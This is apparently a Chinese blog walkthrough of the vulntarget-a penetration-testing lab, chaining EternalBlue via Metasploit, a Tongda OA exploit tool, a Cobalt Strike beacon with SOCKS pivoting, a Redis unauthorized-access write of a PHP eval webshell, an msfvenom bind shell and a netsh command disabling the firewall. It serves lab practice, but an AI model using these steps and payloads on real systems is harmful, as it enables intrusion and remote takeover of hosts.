渗透靶场——vulntarget-a综合靶场

部署环境

此次靶场不再是单个镜像，而是三个镜像文件，接下来先给大家说一下整个环境的拓扑图以环境布置。
只需要把win7外网机和kali机同样的网卡host-Only形式即可，剩下的两台即可也是直接安排好了，无需做任何更改。
靶机下载地址：

信息收集

扫描主机
扫描同一网段中的存活主机
发现一个存活主机（其他的是我自己其他机器）192.168.1.9

扫描端口

扫描一下存活靶机的ip地址

nmap -A -p- 192.168.1.9

一看就知道这个存活靶机是一个win7系统，那么对于win7系统来说，445端口存在着永恒之蓝漏洞，我们进行尝试看看能否成功

内网主机渗透

在kali中启动msfconsole
直接寻找永恒之蓝漏洞编号

search ms17-010

使用模块，并查看配置参数

use exploit/windows/smb/ms17_010_eternalblue
show options

设置攻击机和靶机的ip地址

设置后直接开始run或者exploit
发现确实是存在永恒之蓝漏洞，而且攻进去后发现是最高权限，然后收集一下里面的信息

发现有些乱码，直接在设置一下

chcp 65001（65001 UTF-8代码页）
ipconfig

发现确实好多了（本人英语部不咋地，所以，，，，，，你懂得）
发现有两个网段，一个是192.168.1的网段，另一个就是10.0.20段的
然后退出不用进去shell看一下
发现在这里已经有了用户名密码
先破解一下win7的看一下

用户名：win7 密码：admin
别的其实都登录不上，那再试试远程远程登录界面可不可以
发现已经是成功登录了
那这块就先结束一下，待会这块的内容还会继续去利用

Web渗透

直接访问http://192.168.1.9/
程序为通达OA(后面看到网站标题上也有)，使用工具验证下是否存在漏洞
工具链接如下：
链接：https://pan.baidu.com/s/1FJ8CeqdXx_nN_09JvYvZdg?pwd=ui1t
提取码：ui1t

利用成功，用蚁剑连接
右键进入虚拟终端
在终端输入命令发现也是最高权限

横向渗透

在这里就直接上cs了。关于cs这款工具我也会在我博客里重新给大家介绍一下

大体思路是这样，直接在kali里面启动cs，然后利用生成后门肉鸡，然后再通过shell后面上传到win7机器里进行执行，执行后cs上线，开始扫描同网段的存活IP地址即可获取到另一台主机的IP地址

首先在kali端启动cs工具

首先先创建后门
然后保存即可，我直接保存在了tmp目录下面

然后接下来就开始进行上传

upload /tmp/beacon.exe c:\bescon.exe

上传后直接在kali反弹的shell里面执行这个文件
同时也发现在cs中这个肉鸡也就是win7已经上线了
cs功能强大，就直接上端口扫描器，扫描这个同网段的ip都有哪些

在这里一共有三种扫描方式，但是arp必须要主机关闭防火墙才行，none管不关闭都可以，因为我们已经远程链接到了WIN7，所以关不关大家说了算
然后上面ip段出的时间会有点慢，大家稍安勿躁即可
此时就在正常的扫描中

这个时候说明已经找到另一台存活主机ip地址了10.0.20.99

接下来就开始针对新扫描出的ip地址进行扫描等操作，先设置代理

设置sock4代理

这样就能直接看到
然后改一下我们kali火狐的配置

vim /etc/proxychains4.conf

上面更改为刚才在cs中设置的代理
然后我们直接扫描一下这个机器中常见端口看看都有哪些

proxychains nmap -sT -Pn 10.0.20.99-p22,23,80,139,445,1433,3306,3389,6379,8080

发现常见的web80端口还有redis服务开着，那就没错了，下一步关键就在这两个地方
先看看80端口有什么东西
发现80端口只有hello world

proxychains curl http://10.0.20.99

那就直接扫描一下目录看看

proxychains dirsearch -u “http://10.0.20.99” --proxy=socks4://192.168.1.11:47383 -t 5

qishi

其实有用的就这几个目录，接下来看看phpinfo吧

proxychains curl http://10.0.20.99//phpinfo.php

其实还有好看的办法，就是因为远程连接win7，这个99网段可以直接用win7就能查看
拿到程序目录

接下来就开始针对Redis未授权访问这个漏洞进行攻破
其实Redis未授权访问引起主要是因为配置不当，导致未授权访问漏洞。进一步将恶意数据写入内存或者磁盘之中，造成更大的危害。

配置不当一般主要是两个原理：

1.配置登录策略导致任意机器都可以登录 redis。
2.未设置密码或者设置弱口令。

再来访问6379端口，6379是redis的服务端口，Redis 是一个高性能的key-value数据库
首先得在kali攻击机上安装redis-cli

1、获取redis稳定版并解压

cd /tmp
wget http://download.redis.io/redis-stable.tar.gz
tar xvzf redis-stable.tar.gz
cd redis-stable

2、编译

make

3、全局使用redis-cli

cp src/redis-cli /usr/bin/

设置成功后开始访问

proxychains redis-cli -h 10.0.20.99

访问成功，并不需要密码
接下来就是Redis写入webshell
1、首先先进行切换我们在80端口发现的那个端口

CONFIG set dir “C:/phpStudy/PHPTutorial/WWW/”

2.在这里写入一句话木马

set x “\n\n\n<?php @eval($_POST['x']);?>\n\n\n”
config set dbfilename
shell.php save

然后我们开始进行蚁剑链接，但是需要代理
右键尝试打开终端，发现已经成功
接下来查看系统信息

然后发现了10.0.10网段，查看一下权限

发现也是最高权限

上传MSF后门

1、生成正向shellcode

msfvenom -p windows/x64/meterpreter/bind_tcp LPORT=3333 -f exe >shell.exe

2、使用蚁剑上传shell.exe到10.0.20.99，并执行

3、配置监听器

use exploit/multi/handler
set payload windows/x64/meterpreter/bind_tcp
set lport 3333
set RHOST 10.0.20.99
run

但是也是一直无法连接，估计win2016中也有防火墙的原因

## 关闭防火墙

netsh firewall set opmode mode=disable

这个就先到这，有好多东西不太对，我在研究研究一下，就当是cs的小练手了